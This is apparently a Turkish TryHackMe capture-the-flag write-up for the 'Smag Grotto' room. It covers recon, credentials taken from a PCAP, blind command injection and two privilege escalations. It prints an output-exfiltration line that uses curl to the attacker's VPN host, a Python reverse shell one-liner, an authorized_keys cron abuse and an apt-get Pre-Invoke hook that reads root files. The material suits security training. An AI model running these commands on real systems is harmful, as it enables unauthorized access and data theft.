> For the complete documentation index, see [llms.txt](https://docs.cetinboran.com.tr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cetinboran.com.tr/writeups/thm/smag-grotto.md).

# Smag Grotto

<figure><img src="/files/sy1tl9ZA6ywQFi7G37iZ" alt="Smag Grotto lab logosu"><figcaption></figcaption></figure>

## Keşif

### Port Taraması

İlk olarak klasik `nmap -sC -sV [IP]` taramasını çalıştırıyorum.

```bash
nmap -sC -sV [IP]
```

Tarama sonucunda iki port görüyorum: `22/tcp` üzerinde SSH ve `80/tcp` üzerinde Apache. Web sitesine gittiğimde aşağıdaki basit sayfa karşılıyor:

<figure><img src="/files/wfLDqz9U8vyrR5PKvEZG" alt="Smag ana sayfasındaki under development mesajı"><figcaption></figcaption></figure>

SSH için elimde kullanıcı adı veya anahtar olmadığından önce web tarafını enumerate etmeye karar veriyorum.

### Dizin Taraması

Ana sayfada başka bir ipucu göremediğim için `gobuster` ile dizin taraması atıyorum.

```bash
gobuster dir -u http://[IP] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

Bir süre sonra `/mail` dizinini buluyorum. Burada şirket içi e-postalar görünüyor ve bir mailin eki olarak indirilebilen bir PCAP dosyası var.

<figure><img src="/files/LadFYGbbQqyvBxshyMN9" alt="PCAP eki bulunan Smag mail sayfası"><figcaption></figcaption></figure>

Bu noktada ilk düşündüğüm şey PCAP'in bana yeni bir servis, kullanıcı veya credential bırakabileceği oluyor. Dosyayı indirip Wireshark ile HTTP paketlerine bakıyorum. `login.php` isteğinin gövdesinde kullanıcı adı ve parolanın açık metin olarak geçtiğini görüyorum; alttaki pakette bunu doğrudan görebiliyorum.

<figure><img src="/files/Gerwt2LzF0oQwZxYrAFT" alt="PCAP içindeki login credential bilgileri"><figcaption></figcaption></figure>

```
helpdesk:****************
```

Aynı trafikten yeni bir host adı da çıkıyor: `development.smag.thm`. Bu çok önemli; IP adresinde görünmeyen başka bir web uygulamasının virtual host üzerinde çalıştığını anlıyorum. `/etc/hosts` dosyama hedef IP ile birlikte ekliyorum.

```
[IP] development.smag.thm
```

## İlk Erişim

### Development Paneli

`development.smag.thm` adresine gittiğimde PCAP'ten bulduğum credential ile `login.php` sayfasına giriş yapabiliyorum. İçeride bir komut alanı var.

<figure><img src="/files/74502bZgICeM9iFNpo5h" alt="Komut girilebilen development paneli"><figcaption></figcaption></figure>

İlk başta komut verip ekranda çıktı almaya çalışıyorum ama sonuç görünmüyor. Burp Suite ile isteği kontrol ettiğimde de response içinde bir çıktı yok. Burada komut hiç çalışmıyor diye düşünmek kolaydı, fakat ekranın çıktıyı göstermemesi ile backend'in komutu çalıştırmaması aynı şey değil.

Bu yüzden kendi makinemde küçük bir HTTP sunucusu açıyorum ve hedefin bana istek atıp atamayacağını test ediyorum.

```bash
python3 -m http.server 80
```

Komut alanına test amaçlı `curl http://[VPN_IP]/test.txt` gönderdikten sonra kendi sunucumda istek görüyorum. Yani burada blind command injection var: komut çalışıyor ancak uygulama sonucu bana geri vermiyor.

<figure><img src="/files/Qer7p2Z4mIgM5hqO7Vwz" alt="Hedeften curl test isteğinin geldiğinin doğrulanması"><figcaption></figcaption></figure>

### İlk Deneme ve Geri Dönüş

İlk denemede PHP reverse shell dosyasını HTTP sunucum üzerinden hedefe indirmeyi deniyorum. Dosya gerçekten iniyor fakat beklediğim bağlantıyı alamıyorum. Burada dosyanın web root dışında kalmış olabileceğini düşünüyorum; ayrıca komut çıktısı olmadığından dosyanın nereye indiğini de doğrulayamıyorum.

Bu yüzden blind injection'ın bana verdiği HTTP isteği kanalını çıktı almak için kullanıyorum. Aşağıdaki gibi bir komut çalıştırıyorum ve sonucu kendi Python sunucumun loglarında görebiliyorum.

```bash
curl http://[VPN_IP]/$(id)
```

<figure><img src="/files/OG01tdHjOHiIfxbvWbBL" alt="id komutunun çıktısının HTTP sunucusu loglarına gelmesi"><figcaption></figcaption></figure>

`which python3` ile Python'ın hedefte bulunduğunu doğruluyorum. Artık web shell ile uğraşmak yerine doğrudan reverse shell denemek daha mantıklı geliyor.

### Reverse Shell

Kendi makinemde dinlemeye geçiyorum.

```bash
rlwrap nc -lvnp 4444
```

Ardından komut alanından aşağıdaki Python reverse shell'i gönderiyorum.

```bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[VPN_IP]",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")'
```

Bu sefer bağlantı geliyor ve `www-data` kullanıcısı olarak shell alıyorum.

<figure><img src="/files/2XqLCaXdCfJ8ZeYUfUNy" alt="www-data kullanıcısı olarak alınan shell"><figcaption></figcaption></figure>

Shell'i biraz daha kullanılabilir hale getirmek için terminal tipini ayarlıyor ve Python3 ile interaktif bir shell alıyorum.

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```

## Yetki Yükseltme

### www-data → jake

İlk olarak development altındaki PHP dosyalarını ve olası database bağlantılarını inceliyorum; burada yeni bir credential bulamıyorum. `/home` altında `jake` kullanıcısını görüyorum ancak `www-data` olarak `user.txt` dosyasını okuyamıyorum.

Dizinleri gezerken `/opt/.backups` dikkatimi çekiyor. İçeride `jake_id_rsa.pub.backup` adında bir dosya bulunuyor. İlk anda bunun private key olabileceğini düşünüyorum fakat dosya public key; tek başına bununla SSH girişi yapamam.

<figure><img src="/files/5ZyInBFIJr0155O2iN4X" alt="Opt altındaki Jake public key yedeği"><figcaption></figcaption></figure>

Burada geri dönüp zamanlanmış görevleri kontrol ediyorum. `cat /etc/crontab` çıktısındaki aşağıdaki satır bütün zinciri açıklıyor:

```cron
*  *    * * *   root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
```

Root, her dakika bu backup dosyasının içeriğini Jake'in `authorized_keys` dosyasına yazıyor. Dosyanın bulunduğu konuma yazabildiğim için kendi public key'imi buraya koyarsam cronjob bir sonraki çalışmasında anahtarımı Jake için yetkili hale getirecek.

Önce kendi makinemde bir SSH anahtarı oluşturuyorum.

```bash
ssh-keygen -t ed25519 -C "cetinboran@thm.com"
```

Public key içeriğini hedefteki `/opt/.backups/jake_id_rsa.pub.backup` dosyasına yazıyorum. Bir dakika bekledikten sonra kendi private key'im ile Jake olarak SSH bağlantısı açabiliyorum.

```bash
ssh jake@[IP] -i ~/.ssh/id_ed25519
```

Bu şekilde `user.txt` dosyasını da okuyorum.

<figure><img src="/files/SfhlWI3ibAIrzUxGhAlq" alt="Jake kullanıcısının user flag çıktısı"><figcaption></figcaption></figure>

### jake → root

Jake olarak yaptığım ilk kontrol `sudo -l` oluyor. Çıktıda `apt-get` komutunu parola sormadan root olarak çalıştırabildiğimi görüyorum.

<figure><img src="/files/sj2yYY7dqPIFTKVGbsOb" alt="Jake kullanıcısının sudo apt-get yetkisi"><figcaption></figcaption></figure>

Bu tip yetkilerde GTFOBins kontrol etmek iyi bir alışkanlık.

<figure><img src="/files/19sFy1TcsoBqOBeasifx" alt="GTFOBins apt-get sudo tekniği"><figcaption></figcaption></figure>

Bu odada root flag'ini `/tmp/output.txt` içine yazdıracak şekilde yapılandırma dosyasını hazırlıyorum.

```bash
echo 'APT::Update::Pre-Invoke {"cat /root/root.txt > /tmp/output.txt";};' > /tmp/x
sudo apt-get -c /tmp/x update
cat /tmp/output.txt
```

Buradaki önemli nokta `apt-get update` işleminin internete erişip paket indirmesi değil. `Pre-Invoke` kancası update başlamadan önce çalıştığı için, komut başarıyla tetiklendikten sonra root yetkisiyle `root.txt` okunmuş oluyor.

<figure><img src="/files/5YB30m7cSkYX0x3ueAVk" alt="Root flag çıktısı"><figcaption></figcaption></figure>

## Sonuç

Bu odada en faydalı ders benim için blind command injection'a yaklaşım oldu: response içinde çıktı yok diye komutun çalışmadığını varsaymamak gerekiyor. Kendi HTTP sunucuma gelen istek hem zafiyeti doğruladı hem de çıktıyı exfiltrate etmek için pratik bir kanal sağladı.

Yetki yükseltme tarafında ise iki ayrı kontrol noktası vardı:

1. Yazılabilir bir dosyanın root tarafından `authorized_keys` içine kopyalanması, düşük yetkili kullanıcının SSH erişimini başka bir kullanıcıya taşıdı.
2. `sudo -l` çıktısındaki `apt-get` yetkisi, apt yapılandırma kancası kullanılarak root bağlamında komut çalıştırılmasına izin verdi.

Bu write-up'ı buraya kadar okuduğunuz için teşekkür ederim. İyi çalışmalar.
